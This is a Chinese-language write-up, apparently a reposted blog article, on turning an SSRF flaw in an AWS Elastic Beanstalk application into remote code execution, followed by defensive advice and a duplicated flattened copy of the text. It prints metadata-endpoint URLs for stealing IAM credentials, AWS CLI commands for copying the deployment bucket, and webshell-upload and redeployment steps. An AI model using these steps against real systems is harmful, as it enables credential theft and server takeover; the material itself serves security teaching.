在AWS Elastic Beanstalk中利用SSRF
字数 1975 2025-08-27 12:33:48

AWS Elastic Beanstalk SSRF漏洞利用与RCE攻击链分析

1. AWS Elastic Beanstalk概述

AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对多种环境(Java、.NET、PHP、Node.js、Python、Ruby和Go)开发的Web应用程序。它自动处理:

  • 部署
  • 容量配置
  • 负载均衡
  • 自动扩展
  • 应用程序健康监控

1.1 环境类型

Elastic Beanstalk支持两种环境配置:

  • Web服务器环境:适合运行Web应用程序或Web API
  • 工作环境:适合后台工作、长时间运行的流程

2. 默认配置与安全风险

2.1 资源配置

配置新环境时,AWS会自动创建:

  • S3存储桶
  • 安全组
  • EC2实例
  • 默认实例配置文件aws-elasticbeanstalk-ec2-role

2.2 S3存储桶

  • 存储桶命名格式:elasticbeanstalk-region-account-id
  • 默认不启用加密:对象以未加密形式存储(仅授权用户可访问)

2.3 默认实例配置文件的托管策略

  1. AWSElasticBeanstalkWebTier

    • 允许应用程序将日志上传到Amazon S3
    • 允许调试信息发送到AWS X-Ray
    • 对S3存储桶的有限列表、读取和写入权限
    • 仅限存储桶名称以"elasticbeanstalk-"开头的存储桶
    • 授予递归访问权限
  2. AWSElasticBeanstalkWorkerTier

  3. AWSElasticBeanstalkMulticontainerDocker

3. SSRF漏洞发现与确认

3.1 漏洞确认步骤

  1. 通过对外部域进行DNS调用确认SSRF
  2. 访问仅限localhost访问的页面进一步验证:
    http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status
    

3.2 AWS元数据查询

确认服务提供商为AWS后,查询以下元数据端点:

  1. 获取账户ID和区域:

    http://169.254.169.254/latest/dynamic/instance-identity/document
    
  2. 获取访问凭证:

    http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role
    

4. AWS CLI配置与利用

4.1 配置AWS CLI

使用获取的凭证配置AWS CLI:

aws configure

验证凭证有效性:

aws sts get-caller-identity

4.2 S3存储桶访问

  1. 确定存储桶名称格式:elasticbeanstalk-region-account-id

    • 示例:elasticbeanstalk-us-east-2-69XXXXXXXX79
  2. 列出存储桶内容:

    aws s3 ls s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/
    
  3. 递归下载源代码:

    aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata --recursive
    

5. 从SSRF到RCE的攻击链

5.1 直接上传Webshell失败

尝试直接上传PHP webshell到S3存储桶:

aws s3 cp webshell101.php s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/

失败原因:更新的源代码不会自动部署到EC2实例

5.2 利用CI/CD管道实现RCE

5.2.1 AWS CodePipeline简介

AWS CodePipeline是一种CI/CD服务,可在代码更改时自动构建、测试和部署代码。支持:

  • 源提供程序:GitHub、Amazon S3、AWS CodeCommit
  • 部署提供程序:包括Elastic Beanstalk

5.2.2 攻击步骤

  1. 创建管道

    • 源提供程序:选择S3存储桶
    • 部署提供程序:选择Elastic Beanstalk
  2. 上传Webshell

    • 将包含webshell的zip文件上传到S3存储桶
    aws s3 cp webshell.zip s3://elasticbeanstalk-us-east-1-696XXXXXXXXX/
    
  3. 触发自动部署

    • CodePipeline检测到源更改后自动触发构建和部署
  4. 访问Webshell

    • 部署完成后,通过URL访问webshell执行系统命令

5.3 其他攻击路径

  1. 重建现有环境

    • 重建会终止所有资源并创建新资源
    • 从S3存储桶部署最新源代码(包含webshell)
  2. 从现有环境克隆

    • 克隆环境会从S3存储桶获取代码
    • 部署包含webshell的应用程序
  3. 创建新环境

    • 选择"从S3存储桶中选择现有存档文件"选项
    • 提供包含webshell的S3存储桶URL

6. 防御措施建议

  1. 限制元数据访问

    • 使用IMDSv2
    • 限制实例元数据服务访问
  2. 加强IAM策略

    • 遵循最小权限原则
    • 限制S3存储桶访问权限
  3. 输入验证

    • 实施严格的输入验证
    • 禁止访问内部网络和元数据服务
  4. 启用S3加密

    • 为Elastic Beanstalk创建的S3存储桶启用默认加密
  5. 监控和日志

    • 监控异常API调用
    • 设置CloudTrail日志记录
  6. 定期审计

    • 定期审计IAM角色和策略
    • 检查不必要的权限

7. 总结

本案例展示了如何通过SSRF漏洞获取AWS元数据,进而利用Elastic Beanstalk的默认配置和CI/CD管道实现远程代码执行。攻击链的关键点包括:

  1. 通过SSRF访问AWS元数据获取凭证
  2. 利用默认IAM策略访问S3存储桶
  3. 通过修改源代码并触发自动部署实现RCE

了解这些攻击技术对于构建安全的AWS环境至关重要,同时也强调了实施严格安全措施的必要性。

AWS Elastic Beanstalk SSRF漏洞利用与RCE攻击链分析 1. AWS Elastic Beanstalk概述 AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对多种环境(Java、.NET、PHP、Node.js、Python、Ruby和Go)开发的Web应用程序。它自动处理: 部署 容量配置 负载均衡 自动扩展 应用程序健康监控 1.1 环境类型 Elastic Beanstalk支持两种环境配置: Web服务器环境 :适合运行Web应用程序或Web API 工作环境 :适合后台工作、长时间运行的流程 2. 默认配置与安全风险 2.1 资源配置 配置新环境时,AWS会自动创建: S3存储桶 安全组 EC2实例 默认实例配置文件 aws-elasticbeanstalk-ec2-role 2.2 S3存储桶 存储桶命名格式: elasticbeanstalk-region-account-id 默认不启用加密 :对象以未加密形式存储(仅授权用户可访问) 2.3 默认实例配置文件的托管策略 AWSElasticBeanstalkWebTier : 允许应用程序将日志上传到Amazon S3 允许调试信息发送到AWS X-Ray 对S3存储桶的有限列表、读取和写入权限 仅限存储桶名称以"elasticbeanstalk-"开头 的存储桶 授予递归访问权限 AWSElasticBeanstalkWorkerTier AWSElasticBeanstalkMulticontainerDocker 3. SSRF漏洞发现与确认 3.1 漏洞确认步骤 通过对外部域进行DNS调用确认SSRF 访问仅限localhost访问的页面进一步验证: 3.2 AWS元数据查询 确认服务提供商为AWS后,查询以下元数据端点: 获取账户ID和区域: 获取访问凭证: 4. AWS CLI配置与利用 4.1 配置AWS CLI 使用获取的凭证配置AWS CLI: 验证凭证有效性: 4.2 S3存储桶访问 确定存储桶名称格式: elasticbeanstalk-region-account-id 示例: elasticbeanstalk-us-east-2-69XXXXXXXX79 列出存储桶内容: 递归下载源代码: 5. 从SSRF到RCE的攻击链 5.1 直接上传Webshell失败 尝试直接上传PHP webshell到S3存储桶: 失败原因 :更新的源代码不会自动部署到EC2实例 5.2 利用CI/CD管道实现RCE 5.2.1 AWS CodePipeline简介 AWS CodePipeline是一种CI/CD服务,可在代码更改时自动构建、测试和部署代码。支持: 源提供程序:GitHub、Amazon S3、AWS CodeCommit 部署提供程序:包括Elastic Beanstalk 5.2.2 攻击步骤 创建管道 : 源提供程序:选择S3存储桶 部署提供程序:选择Elastic Beanstalk 上传Webshell : 将包含webshell的zip文件上传到S3存储桶 触发自动部署 : CodePipeline检测到源更改后自动触发构建和部署 访问Webshell : 部署完成后,通过URL访问webshell执行系统命令 5.3 其他攻击路径 重建现有环境 : 重建会终止所有资源并创建新资源 从S3存储桶部署最新源代码(包含webshell) 从现有环境克隆 : 克隆环境会从S3存储桶获取代码 部署包含webshell的应用程序 创建新环境 : 选择"从S3存储桶中选择现有存档文件"选项 提供包含webshell的S3存储桶URL 6. 防御措施建议 限制元数据访问 : 使用IMDSv2 限制实例元数据服务访问 加强IAM策略 : 遵循最小权限原则 限制S3存储桶访问权限 输入验证 : 实施严格的输入验证 禁止访问内部网络和元数据服务 启用S3加密 : 为Elastic Beanstalk创建的S3存储桶启用默认加密 监控和日志 : 监控异常API调用 设置CloudTrail日志记录 定期审计 : 定期审计IAM角色和策略 检查不必要的权限 7. 总结 本案例展示了如何通过SSRF漏洞获取AWS元数据,进而利用Elastic Beanstalk的默认配置和CI/CD管道实现远程代码执行。攻击链的关键点包括: 通过SSRF访问AWS元数据获取凭证 利用默认IAM策略访问S3存储桶 通过修改源代码并触发自动部署实现RCE 了解这些攻击技术对于构建安全的AWS环境至关重要,同时也强调了实施严格安全措施的必要性。